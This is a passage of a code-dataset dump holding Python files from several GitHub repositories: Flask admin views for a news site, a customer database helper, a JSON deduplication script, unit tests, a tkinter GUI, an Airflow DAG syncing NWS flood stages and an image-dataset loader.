data=data)\n\n\n# 后台新闻审核详情页\n@admin_blu.route('/news_review_detail')\ndef news_review_detail():\n news_id = request.args.get(\"news_id\")\n try:\n news_id = int(news_id)\n # 查询新闻信息\n news = News.query.get(news_id)\n except BaseException as e:\n current_app.logger.error(e)\n return abort(500)\n\n return render_template(\"admin/news_review_detail.html\", news=news.to_dict())\n\n\n# 后台新闻审核提交\n@admin_blu.route('/news_review_action', methods=[\"POST\"])\ndef news_review_action():\n news_id = request.json.get(\"news_id\")\n action = request.json.get(\"action\")\n reason = request.json.get(\"reason\")\n\n if not all([news_id, action]):\n return jsonify(errno=RET.PARAMERR, errmsg=error_map[RET.PARAMERR])\n\n if not action in [\"accept\", \"reject\"]:\n return jsonify(errno=RET.PARAMERR, errmsg=error_map[RET.PARAMERR])\n\n try:\n news_id = int(news_id)\n # 查询新闻信息\n news = News.query.get(news_id)\n except BaseException as e:\n current_app.logger.error(e)\n return abort(403)\n\n if action == \"accept\":\n news.status = 0\n return jsonify(errno=RET.OK, errmsg=error_map[RET.OK])\n\n # reject\n if not reason:\n return jsonify(errno=RET.PARAMERR, errmsg=error_map[RET.PARAMERR])\n else:\n news.reason = reason\n news.status = -1\n\n return jsonify(errno=RET.OK, errmsg=error_map[RET.OK], news_id=news_id)\n\n\n# 后台新闻板式编辑\n@admin_blu.route('/news_edit')\ndef news_edit():\n p = request.args.get(\"p\", 1) # 页数\n keyword = request.args.get(\"keyword\") # 关键字搜索\n # 校验参数\n try:\n p = int(p)\n except BaseException as e:\n current_app.logger.error(e)\n return jsonify(errno=RET.PARAMERR, errmsg=error_map[RET.PARAMERR])\n\n filter_list = []\n if keyword:\n filter_list.append(News.title.contains(keyword))\n # 查询当前用户发布的新闻发布时间倒序,分页查询\n try:\n pn = News.query.filter(*filter_list).order_by(News.create_time.desc()).paginate(p, ADMIN_NEWS_PAGE_MAX_COUNT)\n except BaseException as e:\n current_app.logger.error(e)\n return jsonify(errno=RET.DBERR, errmsg=error_map[RET.DBERR])\n\n data = {\n \"news_list\": [news.to_review_dict() for news in pn.items],\n \"total_page\": pn.pages,\n \"cur_page\": pn.page\n\n } # 注意要传递的数据是否正确\n\n return render_template(\"admin/news_edit.html\", data=data)\n\n\n# 后台新闻版式详情页\n@admin_blu.route('/news_edit_detail/')\ndef news_edit_detail(news_id):\n try:\n news = News.query.get(news_id)\n except BaseException as e:\n current_app.logger.error(e)\n return abort(500)\n\n # 查询所有分类\n try:\n categories = Category.query.filter(Category.id != 1).all()\n except BaseException as e:\n current_app.logger.error(e)\n return abort(500)\n\n category_list = []\n for category in categories:\n category_dict = category.to_dict()\n is_select = False\n if category.id == news.category_id:\n is_select = True\n\n category_dict[\"is_select\"] = is_select\n category_list.append(category_dict)\n\n return render_template(\"admin/news_edit_detail.html\", news=news.to_dict(), category_list=category_list)\n\n\n@admin_blu.route('/news_edit_detail', methods=[\"POST\"])\ndef news_edit_detail_post():\n # POST\n # 获取参数\n news_id = request.form.get(\"news_id\")\n title = request.form.get(\"title\")\n category_id = request.form.get(\"category_id\")\n digest = request.form.get(\"digest\")\n content = request.form.get(\"content\")\n index_image = request.files.get(\"index_image\")\n\n # 校验参数\n if not all([news_id, title, category_id, digest, content]):\n return jsonify(errno=RET.PARAMERR, errmsg=error_map[RET.PARAMERR])\n\n try:\n news_id = int(news_id)\n category_id = int(category_id)\n except BaseException as e:\n current_app.logger.error(e)\n return jsonify(errno=RET.PARAMERR, errmsg=error_map[RET.PARAMERR])\n\n # 查找新闻\n try:\n news = News.query.get(news_id)\n except BaseException as e:\n current_app.logger.error(e)\n return jsonify(errno=RET.DBERR, errmsg=error_map[RET.DBERR])\n\n # 修改新闻数据\n news.title = title\n news.category_id = category_id\n news.digest = digest\n news.content = content\n\n if index_image:\n try:\n # 读取图片内容\n img_bytes = index_image.read()\n file_name = file_upload(img_bytes)\n news.index_image_url = QINIU_DOMIN_PREFIX + file_name\n except BaseException as e:\n current_app.logger.error(e)\n return jsonify(errno=RET.THIRDERR, errmsg=error_map[RET.THIRDERR])\n\n return jsonify(errno=RET.OK, errmsg=error_map[RET.OK])\n\n\n@admin_blu.route('/news_type',methods=[\"GET\",\"POST\"])\ndef news_type():\n if request.method == \"GET\":\n try:\n categories = Category.query.filter(Category.id != 1).all()\n except BaseException as e:\n current_app.logger.error(e)\n return jsonify(errno=RET.DBERR,errmsg=error_map[RET.DBERR])\n\n return render_template(\"admin/news_type.html\",categories=categories)\n\n # POST\n id = request.json.get(\"id\")\n name = request.json.get(\"name\")\n\n if not name:\n return jsonify(errno=RET.PARAMERR,errmsg=error_map[RET.PARAMERR])\n\n if id:\n category = Category.query.get(id)\n category.name = name\n else:\n # 新增 分类\n news_category = Category(name=name)\n db.session.add(news_category)\n\n return jsonify(errno=RET.OK,errmsg=error_map[RET.OK])\n\n","repo_name":"shanesl/InfoNews","sub_path":"info/modules/admin/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":12408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32948960629","text":"from flask import Flask, jsonify, request, make_response,jsonify,json\nfrom flask_restful import Resource, Api, marshal_with, fields,reqparse\nfrom Models.Bean import *\nfrom Models.Return import Return\nfrom Models.Database import Database\n\nclass BALCustomers:\n def getCustomersList(self,id=None,deleted=0,status=1,flag=2):\n customersList=[]\n where=\"\"\n field=\" id, name, mobile, email \"\n if(flag==1):\n field=field+\",status \"\n query=\"select \"+field+\" from customers \" \n if(status!=None):\n where=where+\" status=\"+str(status)+\" and \"\n if(id!=None):\n where=where+\" id=\"+str(id)+\" and \"\n if(deleted!=None):\n where=where+\" deleted=\"+str(deleted)+\" and \"\n if(len(where)>0):\n query=query+\" where \"+where.rsplit(\"and \",1)[0]\n cursor=Database.getCursor(query)\n if(cursor==\"201\"):\n return customersList \n for row in cursor:\n element=CustomerModel()\n element.id=row[0]\n element.name=row[1]\n element.mobile=row[2]\n element.email=row[3] \n if(flag==1):\n element.status=row[4]\n customersList.append(element.__dict__)\n return customersList\n \n def getCustomerEmailList(self):\n customerEmails=[]\n func=BALCustomers()\n customerList=func.getCustomersList(None)\n for customerObj in customerList:\n customerEmails.append(customerObj['email'])\n return customerEmails","repo_name":"jaydev7178/CryptocurrencyApp","sub_path":"BAL/BALCustomers.py","file_name":"BALCustomers.py","file_ext":"py","file_size_in_byte":1567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"11712067078","text":"import argparse\nimport json\nimport hashlib\n\n# 定义命令行参数\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-i\", \"--input\", help=\"input file path\")\nparser.add_argument(\"-o\", \"--output\", help=\"output file path\")\nargs = parser.parse_args()\n\n# 打开输入文件并加载所有行\nwith open(args.input, \"r\") as f:\n lines = f.readlines()\n\n# 创建一个空集合用于存储唯一的哈希值\nunique_hashes = set()\n\n# 循环遍历每一行 JSON 数据\nfor line in lines:\n # 将 JSON 字符串转换为 Python 字典\n data = json.loads(line)\n if \"asn\" in data:\n asn = data[\"asn\"].get(\"as_number\", [])\n else:\n asn = []\n # asn = data[\"asn\"].get(\"as_number\",[])\n # 提取需要计算的字段\n # body_md5 = data.get(\"hash\", {}).get(\"body_md5[]\", [])\n body_md5 = data[\"hash\"][\"body_md5\"]\n # asn = data[\"asn\"][\"as_number\"]\n words = data.get(\"words\", [])\n webserver = data.get(\"webserver\", [])\n a = data.get(\"a\", [])\n status_code = data.get(\"status_code\", [])\n content_length = data.get(\"content_length\", [])\n title = data.get(\"title\", [])\n lines = data.get(\"lines\", [])\n # a = data[\"a\"]\n\n\n # 计算新的哈希值\n only_md5 = hashlib.md5(\"{}{}{}{}{}{}{}{}{}\".format(body_md5, words, webserver, a,status_code,content_length,title,lines,asn).encode()).hexdigest()\n\n # 将新字段添加到原始字典中\n data[\"only_md5\"] = only_md5\n\n # 如果哈希值不在集合中,则将更新后的字典写入输出文件,并将哈希值添加到集合中\n if only_md5 not in unique_hashes:\n with open(args.output, \"a\") as f:\n f.write(json.dumps(data) + \"\\n\")\n unique_hashes.add(only_md5)\n","repo_name":"york-cmd/SuperDict","sub_path":"domain/url-qc.py","file_name":"url-qc.py","file_ext":"py","file_size_in_byte":1698,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"39960365018","text":"from project.library import Library\n\nfrom unittest import TestCase, main\n\n\nclass TestLibrary(TestCase):\n def setUp(self) -> None:\n self.name = \"Library\"\n self.library = Library(self.name)\n self.author = \"Author\"\n self.title = \"Title\"\n self.reader = \"Reader\"\n\n def test_library_initialisation_with_correct_name(self):\n self.assertEqual(self.name, self.library.name)\n self.assertEqual({}, self.library.books_by_authors)\n self.assertEqual({}, self.library.readers)\n\n def test_library_initialisation_with_empty_string_for_name_raises_error(self):\n name = \"\"\n with self.assertRaises(ValueError) as error:\n Library(name)\n\n self.assertEqual(\"Name cannot be empty string!\", str(error.exception))\n\n def test_add_book_with_new_author_who_is_not_in_books_dict(self):\n self.library.add_book(self.author, self.title)\n self.assertEqual([self.title], self.library.books_by_authors[self.author])\n\n def test_add_book_with_existing_author_non_existing_title(self):\n new_title = \"New Title\"\n self.library.add_book(self.author, self.title)\n self.library.add_book(self.author, new_title)\n expected_result = [self.title, new_title]\n self.assertEqual(expected_result, self.library.books_by_authors[self.author])\n\n def test_add_book_with_existing_author_and_existing_title(self):\n self.library.add_book(self.author, self.title)\n self.library.add_book(self.author, self.title)\n expected_result = [self.title]\n self.assertEqual(expected_result, self.library.books_by_authors[self.author])\n\n def test_add_reader_creates_empty_list_with_new_reader(self):\n self.library.add_reader(self.reader)\n self.assertEqual([], self.library.readers[self.reader])\n\n def test_add_reader_who_exists_returns_string(self):\n self.library.add_reader(self.reader)\n actual = self.library.add_reader(self.reader)\n\n self.assertEqual(f\"{self.reader} is already registered in the {self.name} library.\", actual)\n\n def test_rent_book_not_registered_reader_returns_string(self):\n actual = self.library.rent_book(self.reader, self.author, self.title)\n self.assertEqual(f\"{self.reader} is not registered in the {self.name} Library.\", actual)\n\n def test_rent_book_with_not_registered_author_returns_string(self):\n self.library.add_reader(self.reader)\n actual = self.library.rent_book(self.reader, self.author, self.title)\n self.assertEqual(f\"{self.name} Library does not have any {self.author}'s books.\", actual)\n\n def test_rent_book_with_not_existing_book_title(self):\n self.library.add_reader(self.reader)\n self.library.add_book(self.author, self.title)\n new_title = \"new_title\"\n actual = self.library.rent_book(self.reader, self.author, new_title)\n self.assertEqual(f\"\"\"{self.name} Library does not have {self.author}'s \"{new_title}\".\"\"\", actual)\n\n def test_rent_book_with_existing_reader_author_and_book_title(self):\n self.library.add_reader(self.reader)\n self.library.add_book(self.author, self.title)\n self.library.rent_book(self.reader, self.author, self.title)\n self.assertEqual([{self.author: self.title}], self.library.readers[self.reader])\n self.assertEqual({self.author: []}, self.library.books_by_authors)\n\n\n\n\n\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"nmoskova/Python-OOP","sub_path":"exam_preparation/23_08_2021/testing/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9323680643","text":"#!/usr/bin/python\r\n# -*- coding: utf-8 -*-\r\n#\r\n# Copyright (C) 2010 ZHENG Zhong \r\n#\r\n# Created on 2010-05-04.\r\n# $Id$\r\n#\r\n\r\nfrom django.conf.urls.defaults import *\r\nfrom friday.apps.tagging.views import *\r\n\r\n\r\nurlpatterns = patterns(\"\",\r\n url(\r\n r\"^$\",\r\n view_tags,\r\n name=\"friday.view_tags\"\r\n ),\r\n url(\r\n r\"^category/(?P\\w+)/$\",\r\n view_tags,\r\n name=\"friday.view_tags\"\r\n ),\r\n url(\r\n r\"^cloud/(?P\\w+)/$\",\r\n view_tag_cloud,\r\n name=\"friday.view_tag_cloud\"\r\n ),\r\n)\r\n\r\n\r\n# EOF\r\n","repo_name":"BGCX262/zzheng-hg-to-git","sub_path":"friday/website/friday/apps/tagging/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"44037108355","text":"\"\"\"\nTwo friends like to pool their money and go to the ice cream parlor. They always choose two distinct flavors and they spend all of their money.\n\nGiven a list of prices for the flavors of ice cream, select the two that will cost all of the money they have.\n\nExample. \n\nThe two flavors that cost and meet the criteria. Using -based indexing, they are at indices and .\n\nFunction Description\n\nComplete the icecreamParlor function in the editor below.\n\nicecreamParlor has the following parameter(s):\n\nint m: the amount of money they have to spend\nint cost[n]: the cost of each flavor of ice cream\nReturns\n\nint[2]: the indices of the prices of the two flavors they buy, sorted ascending\nInput Format\n\nThe first line contains an integer, , the number of trips to the ice cream parlor. The next sets of lines each describe a visit.\n\nEach trip is described as follows:\n\nThe integer , the amount of money they have pooled.\nThe integer , the number of flavors offered at the time.\n space-separated integers denoting the cost of each flavor: .\nNote: The index within the cost array represents the flavor of the ice cream purchased.\n\nConstraints\n\n, ∀ \nThere will always be a unique solution.\nSample Input\n\nSTDIN Function\n----- --------\n2 t = 2\n4 k = 4\n5 cost[] size n = 5\n1 4 5 3 2 cost = [1, 4, 5, 3, 2]\n4 k = 4\n4 cost[] size n = 4\n2 2 4 3 cost=[2, 2,4, 3]\n\"\"\"\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n#\n# Complete the 'icecreamParlor' function below.\n#\n# The function is expected to return an INTEGER_ARRAY.\n# The function accepts following parameters:\n# 1. INTEGER m\n# 2. INTEGER_ARRAY arr\n#\n\n\"\"\"\n #this is a two sime problem . because i am looking for two numbers that have to sum up to money and i cannot\n I cannot laso have a negative sum as in the ice cream man will pay one of the friends to give an ice cream my approach is to simply subtract the given number in the array\n from money. if that number exists then we have two numbers that sum to m. return the index at which they are found\n \"\"\" \n\ndef icecreamParlor(m, arr):\n # Write your code here\n complement = {}\n \n money = m\n results = []\n \n for i in range(len(arr)):\n comp = m -arr[i]\n if arr[i] in complement:\n \n results = [complement[arr[i]]+1,i+1]\n else:\n if comp >=1:\n complement[comp] = i\n \n return results","repo_name":"AlexeiVartoumian/leetcodeRepository","sub_path":"HackerRank/Dictionary/iceCreamParlour.py","file_name":"iceCreamParlour.py","file_ext":"py","file_size_in_byte":2472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20603921088","text":"from tkinter import *\nfrom tkinter.messagebox import *\nimport os\n\n\ndef sql_get_terminals():\n ls = []\n for i in range(10):\n ls.append([i, 'Terminal_{}'.format(i), 'description'])\n return ls\n\n\nclass TableGrid(Frame):\n def __init__(self, parent=None, titles=None, rows=0, *args):\n super().__init__(parent)\n for index, title in enumerate(titles):\n Label(self, text=title).grid(row=0, column=index)\n self.rebuild(rows=rows, columns=3)\n self.pack()\n\n def rebuild(self, rows=0, columns=0):\n self.cells = []\n self.vars = []\n for i in range(1, rows+1):\n self.vars.append([])\n for j in range(columns):\n var = StringVar()\n self.vars[i-1].append(var)\n ent = Entry(self, textvariable=var)\n ent.grid(row=i, column=j)\n self.cells.append(ent)\n\n def get_terminals(self):\n sql_data = sql_get_terminals()\n self.rebuild(len(sql_data), len(sql_data[0]))\n for index, data in enumerate(sql_data):\n for i, d in enumerate(data):\n self.vars[index][i].set(d)\n\ndef not_implemented(x=13):\n print('Not implemented yet!', x)\n # showerror('Not implemented yet!')\n\n\ndef not_implemented_2(event):\n print('Not implemented_2 yet!', event)\n\nmain_window = Tk()\nmain_window.minsize(400, 400)\ngrid = TableGrid(main_window, ('Id', 'Name', 'Description'), 3)\nmain_window.resizable(width=False, height=False)\nmain_window.title('Star administrator')\n# fr1 = Frame(main_window)\n# fr1.pack(side=LEFT)\n# label = Label(fr1, text='This is first frame')\n# label.pack()\nfr2 = Frame(main_window)\nfr3 = Frame(main_window)\nfr3.pack(side=RIGHT)\nfor i in range(5):\n btn = Button(fr2, text='Create DB', command=lambda x=i: not_implemented(x))\n btn.grid(row=0, column=i)\nfr2.pack(side=BOTTOM)\nbtn = Button(fr3, text='Get terminals', command=sql_get_terminals)\nbtn.pack()\n\n# left, wheel, right mouse buttons accordingly\nmain_window.bind('', not_implemented_2)\nmain_window.bind('', not_implemented_2)\nmain_window.bind('', not_implemented_2)\nmain_menu = Menu(main_window)\nfile_menu = Menu(main_menu )\nfile_menu.add_command(label='Terminals', command=lambda g=grid: g.get_terminals())\nmain_menu.add_cascade(label='Database', menu=file_menu)\nmain_window.config(menu=main_menu)\nmainloop()\n","repo_name":"k1r91/course2","sub_path":"l4-gui_tkinter/lesson/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":2400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"17800118121","text":"\nfrom unittest import TestCase\nimport json\nimport os\n\nimport pytest\n\nfrom lily_assistant.config import Config\n\n\nclass ConfigTestCase(TestCase):\n\n @pytest.fixture(autouse=True)\n def initfixtures(self, mocker, tmpdir):\n self.mocker = mocker\n\n self.tmpdir = tmpdir\n\n def setUp(self):\n\n self.lily_dir = self.tmpdir.mkdir('.lily')\n self.mocker.patch.object(\n os, 'getcwd').return_value = str(self.tmpdir)\n\n self.lily_dir.join('config.json').write(json.dumps({\n 'name': 'hello',\n 'src_dir': 'some_service',\n 'repository': 'bithub',\n 'version': '0.1.9',\n 'last_commit_hash': '940594',\n 'next_version': '0.2.1',\n 'next_last_commit_hash': 'fd898fd',\n }))\n\n #\n # GET_PROJECT_PATH\n #\n def test_get_project_path(self):\n\n assert Config.get_project_path() == str(self.tmpdir)\n\n #\n # GET_CONFIG_PATH\n #\n def test_get_config_path(self):\n\n assert Config.get_config_path() == str(\n self.tmpdir.join('.lily').join('config.json'))\n\n #\n # GET_LILY_PATH\n #\n def test_get_lily_path(self):\n\n assert Config.get_lily_path() == str(self.tmpdir.join('.lily'))\n\n #\n # EXISTS\n #\n def test_exists(self):\n\n assert Config.exists() is True\n\n os.remove(str(self.tmpdir.join('.lily').join('config.json')))\n\n assert Config.exists() is False\n\n #\n # CREATE_EMPTY\n #\n def test_create_empty(self):\n\n os.remove(str(self.tmpdir.join('.lily').join('config.json')))\n\n Config.create_empty('some_service')\n\n assert json.loads(\n self.tmpdir.join('.lily').join('config.json').read()\n ) == {\n 'last_commit_hash': '... THIS WILL BE FILLED AUTOMATICALLY ...',\n 'name': '... PUT HERE NAME OF YOUR PROJECT ...',\n 'repository': '... PUT HERE URL OF REPOSITORY ...',\n 'src_dir': 'some_service',\n 'version': '... PUT HERE INITIAL VERSION ...',\n 'next_version': None,\n 'next_last_commit_hash': None,\n }\n\n def test_create_empty__lily_folder_does_not_exist(self):\n\n self.tmpdir.join('.lily').remove()\n\n Config.create_empty('some_service')\n\n assert json.loads(\n self.tmpdir.join('.lily').join('config.json').read()\n ) == {\n 'last_commit_hash': '... THIS WILL BE FILLED AUTOMATICALLY ...',\n 'name': '... PUT HERE NAME OF YOUR PROJECT ...',\n 'repository': '... PUT HERE URL OF REPOSITORY ...',\n 'src_dir': 'some_service',\n 'version': '... PUT HERE INITIAL VERSION ...',\n 'next_version': None,\n 'next_last_commit_hash': None,\n }\n\n #\n # PROPERTIES: GETTERS & SETTERS\n #\n def test_properties__getters(self):\n\n config = Config()\n\n assert config.name == 'hello'\n assert config.src_dir == 'some_service'\n assert config.src_path == str(self.tmpdir.join('some_service'))\n assert config.repository == 'bithub'\n assert config.version == '0.1.9'\n assert config.last_commit_hash == '940594'\n assert config.next_version == '0.2.1'\n assert config.next_last_commit_hash == 'fd898fd'\n\n def test_properties__setters(self):\n\n def read_from_conf(prop):\n conf = json.loads(self.lily_dir.join('config.json').read())\n\n return conf[prop]\n\n config = Config()\n\n # -- version\n config.version = '9.9.1'\n assert read_from_conf('version') == '9.9.1'\n\n # -- next_version\n config.next_version = '9.0.8'\n assert read_from_conf('next_version') == '9.0.8'\n\n # -- src_dir\n config.src_dir = 'entity_service'\n assert read_from_conf('src_dir') == 'entity_service'\n\n # -- last_commit_hash\n config.last_commit_hash = 'f7d87cd78'\n assert read_from_conf('last_commit_hash') == 'f7d87cd78'\n\n # -- next_last_commit_hash\n config.next_last_commit_hash = 'f7d87cd78'\n assert read_from_conf('next_last_commit_hash') == 'f7d87cd78'\n","repo_name":"cosphere-org/lily-assistant","sub_path":"tests/test_config.py","file_name":"test_config.py","file_ext":"py","file_size_in_byte":4140,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"27477925737","text":"import unittest\n\nfrom midi_to_dataframe import NoteMapper, MidiReader\n\nMIDI_FILE_1 = \"resources/midi/Bomfunk_MCs_-_Freestyler.mid\"\n\n\nclass MidiReaderTests(unittest.TestCase):\n\n def __init__(self, *args, **kwargs):\n super(MidiReaderTests, self).__init__(*args, **kwargs)\n\n # Prepare tests objects\n note_mapping_config_path = \"resources/config/map-to-group.json\"\n note_mapper = NoteMapper(note_mapping_config_path)\n self.reader = MidiReader(note_mapper)\n\n def test_sequence_extraction(self):\n self.reader.set_extract_timestamp(False)\n self.reader.set_extract_time_signature(False)\n\n # Convert MIDI file to sequential text representation\n dataframe = self.reader.convert_to_dataframe(MIDI_FILE_1)\n self.assertTrue(dataframe.shape[0] > 0)\n\n\ndef main():\n unittest.main()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"TaylorPeer/midi-to-dataframe","sub_path":"tests/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"42687955081","text":"\"\"\"\n# Sync A2W NWS Stages by State\n\n- Get NWS Stages\n\n - [AHPS Report](https://water.weather.gov/monitor/ahpsreport.php?type=csv)\n\n - Returns the locations and stages from the AHAPS report as a list of objects\n\n\n- Get USGS sites from Water API\n\n - Returns the existing USGS stage numbers in the Water API\n\n\n- Sync NWS Stages to Water\n\n - Build the payload and post to Water API\n\n\"\"\"\nimport csv\nimport json\nfrom datetime import datetime, timedelta\nfrom io import StringIO\nfrom textwrap import dedent\n\nimport helpers.water as water\nimport requests\nfrom airflow import DAG\nfrom airflow.exceptions import AirflowSkipException\nfrom airflow.operators.python import PythonOperator\n\n# Default arguments\ndefault_args = {\n \"owner\": \"airflow\",\n \"depends_on_past\": False,\n \"start_date\": (datetime.utcnow() - timedelta(days=2)).replace(minute=0, second=0),\n \"catchup_by_default\": False,\n \"email_on_failure\": False,\n \"email_on_retry\": False,\n \"retries\": 1,\n \"retry_delay\": timedelta(minutes=10),\n \"schedule\": \"@daily\"\n # 'max_active_runs':1,\n # 'concurrency':4,\n}\n\n\nwith DAG(\n default_args=default_args,\n dag_id=\"a2w_sync_nws_stages\",\n tags=[\"a2w\", \"nws\"],\n doc_md=dedent(__doc__),\n) as dag:\n\n ########################################\n # Returns the Locations and Stages from the NWS as a list of objects\n def get_nws_stages():\n\n url = \"https://water.weather.gov/monitor/ahpsreport.php?type=csv\"\n\n r = requests.get(url)\n buff = StringIO(r.text)\n reader = csv.reader(buff, delimiter=\",\")\n\n keys = []\n result = []\n\n # Convert the csv to a list of json objects\n # with headers as keys\n for idx, line in enumerate(reader):\n if idx == 0:\n # this is the header\n keys = line\n else:\n # Build each line (object) by setting the keys and values\n _line = {}\n for i, k in enumerate(keys):\n _line[k] = line[i].strip()\n result.append(_line)\n\n return json.dumps(result)\n\n ########################################\n # Returns the existing USGS Stages Numbers in the Water API\n def get_water_usgs_site_numbers():\n\n sites = json.loads(water.get_usgs_sites_by_state(state=\"all\"))\n\n result_sites = []\n for site in sites:\n result_sites.append(site[\"site_number\"])\n\n return json.dumps(result_sites)\n\n ########################################\n # Returns the existing NWS Stages in the Water API\n def get_water_nws_stages():\n\n stages = json.loads(water.get_nws_stages_by_site(site=\"all\"))\n\n existing_stages = {}\n for site_stages in stages:\n existing_stages[site_stages[\"nwsid\"]] = site_stages\n\n return json.dumps(existing_stages)\n\n ########################################\n def sync_nws_stages_to_water(\n state, nws_stages, water_nws_stages, water_usgs_site_numbers\n ):\n\n water_usgs_site_numbers = json.loads(water_usgs_site_numbers)\n water_nws_stages = json.loads(water_nws_stages)\n\n post_items = []\n put_items = []\n\n for idx, line in enumerate(json.loads(nws_stages)):\n\n if line[\"state\"].strip() == state.lower():\n\n # Entry must have:\n # 1) USGSID must be in API sites\n # 2) NWSID = 5 chars\n # 3) a proper USGS ID\n # 4) stage must have a unit of 'FT\n # 5) all stages cannot be 0\n if (\n line[\"usgs id\"].strip() in water_usgs_site_numbers\n and len(line[\"nws shef id\"].strip()) == 5\n and line[\"usgs id\"].strip() != \"\"\n and len(line[\"usgs id\"].strip()) >= 8\n and line[\"usgs id\"].strip().isnumeric()\n and line[\"flood stage unit\"].strip() == \"FT\"\n and float(line[\"action stage\"].strip()) != 0\n and float(line[\"flood stage\"].strip()) != 0\n and float(line[\"moderate flood stage\"].strip()) != 0\n and float(line[\"major flood stage\"].strip()) != 0\n ):\n\n if line[\"proximity\"].strip() in [\"at\", \"near\", \"below\", \"near\"]:\n # ex: Name above xyz lake\n name = f\"{line['location name'].strip()} {line['proximity'].strip()} {line['river/water-body name'].strip()}\"\n else:\n name = line[\"location name\"].strip()\n\n nwsid = line[\"nws shef id\"].strip()\n usgs_id = line[\"usgs id\"].strip()\n action = float(line[\"action stage\"].strip())\n flood = float(line[\"flood stage\"].strip())\n moderate_flood = float(line[\"moderate flood stage\"].strip())\n major_flood = float(line[\"major flood stage\"].strip())\n\n # Build payload\n payload = {}\n payload[\"nwsid\"] = nwsid\n payload[\"usgs_site_number\"] = usgs_id\n payload[\"name\"] = name\n payload[\"action\"] = action\n payload[\"flood\"] = flood\n payload[\"moderate_flood\"] = moderate_flood\n payload[\"major_flood\"] = major_flood\n\n # API Post Payload\n if nwsid in water_nws_stages.keys():\n # site stages already in database, test for changes, if changes use put\n print(\n f\"NWS site {nwsid} already in DB. Checking for changes...\"\n )\n if (\n water_nws_stages[nwsid][\"action\"] != action\n or water_nws_stages[nwsid][\"flood\"] != flood\n or water_nws_stages[nwsid][\"moderate_flood\"]\n != moderate_flood\n or water_nws_stages[nwsid][\"major_flood\"] != major_flood\n ):\n water.put_nws_stages(nwsid, payload)\n put_items.append(nwsid)\n else:\n # new site stages record, use POST\n try:\n # POST single site stages to the water API\n water.post_nws_stages(payload)\n post_items.append(nwsid)\n except:\n continue\n\n # Show task as skipped if no work done\n if len(put_items) == 0 and len(post_items) == 0:\n raise AirflowSkipException\n\n return\n\n ########################################\n\n # Build two DAGSs\n # ----------------\n states = water.get_states()\n\n get_water_usgs_sites_task = PythonOperator(\n task_id=\"get_water_usgs_sites\", python_callable=get_water_usgs_site_numbers\n )\n\n get_nws_stages_task = PythonOperator(\n task_id=\"get_nws_stages\", python_callable=get_nws_stages\n )\n\n get_water_nws_stages_task = PythonOperator(\n task_id=\"get_water_nws_stages\", python_callable=get_water_nws_stages\n )\n\n for state in states:\n sync_task_id = f\"sync_nws_stages_{state}\"\n sync_nws_stages_task = PythonOperator(\n task_id=sync_task_id,\n python_callable=sync_nws_stages_to_water,\n op_kwargs={\n \"state\": state,\n \"nws_stages\": \"{{task_instance.xcom_pull(task_ids='get_nws_stages')}}\",\n \"water_nws_stages\": \"{{task_instance.xcom_pull(task_ids='get_water_nws_stages')}}\",\n \"water_usgs_site_numbers\": \"{{task_instance.xcom_pull(task_ids='get_water_usgs_sites')}}\",\n },\n )\n\n (\n get_nws_stages_task\n >> get_water_usgs_sites_task\n >> get_water_nws_stages_task\n >> sync_nws_stages_task\n )\n","repo_name":"USACE/airflow-config","sub_path":"dags/water/a2w_sync_nws_stages.py","file_name":"a2w_sync_nws_stages.py","file_ext":"py","file_size_in_byte":8070,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"13786950156","text":"import os\nimport json\n\nimport torch\nimport torch.utils.data as data\nimport torchvision.transforms as transforms\nimport numpy as np\nimport pandas as pd\nfrom PIL import Image\n\nfrom randaugment import RandAugment\n\nclass miniImageNetData(data.Dataset):\n def __init__(self, phase, data_path, category_path, train_path, test_path, val_path, output_path, num_classes, rand_aug, logger):\n super(miniImageNetData, self).__init__()\n valid_phase = ['train', 'val', 'test']\n assert phase in valid_phase\n\n self.num_classes = num_classes\n self.dataset_info = {}\n self.phase = phase\n self.data_path = data_path\n self.train_path = train_path\n self.test_path = test_path\n self.val_path = val_path\n self.rand_aug = rand_aug\n\n self.transform = self.get_data_transform(phase)\n\n # load dataset category info\n logger.info('=====> Load dataset category info')\n self.id2label, self.label2id = self.load_data_info(category_path)\n\n # load all image info\n if phase == 'train':\n logger.info('=====> Load train image info')\n self.img_paths, self.labels = self.load_img_info(self.train_path)\n elif phase == 'val':\n logger.info('=====> Load val image info')\n self.img_paths, self.labels = self.load_img_info(self.val_path)\n else:\n logger.info('=====> Load test image info')\n self.img_paths, self.labels = self.load_img_info(self.test_path)\n\n # save dataset info\n logger.info('=====> Save dataset info')\n self.save_dataset_info(output_path)\n\n\n def __len__(self):\n return len(self.labels)\n\n\n def __getitem__(self, index):\n path = self.img_paths[index]\n label = self.labels[index]\n \n with open(path, 'rb') as f:\n sample = Image.open(f).convert('RGB')\n \n if self.transform is not None:\n sample = self.transform(sample)\n\n return sample, label, index\n\n\n #######################################\n # Load image info\n #######################################\n def load_img_info(self, path):\n data_file = pd.read_csv(path).values\n\n labels = []\n img_paths = []\n\n for item in data_file:\n name = item[1]\n label = self.label2id[item[2]]\n img_path = os.path.join(self.data_path, name)\n labels.append(label)\n 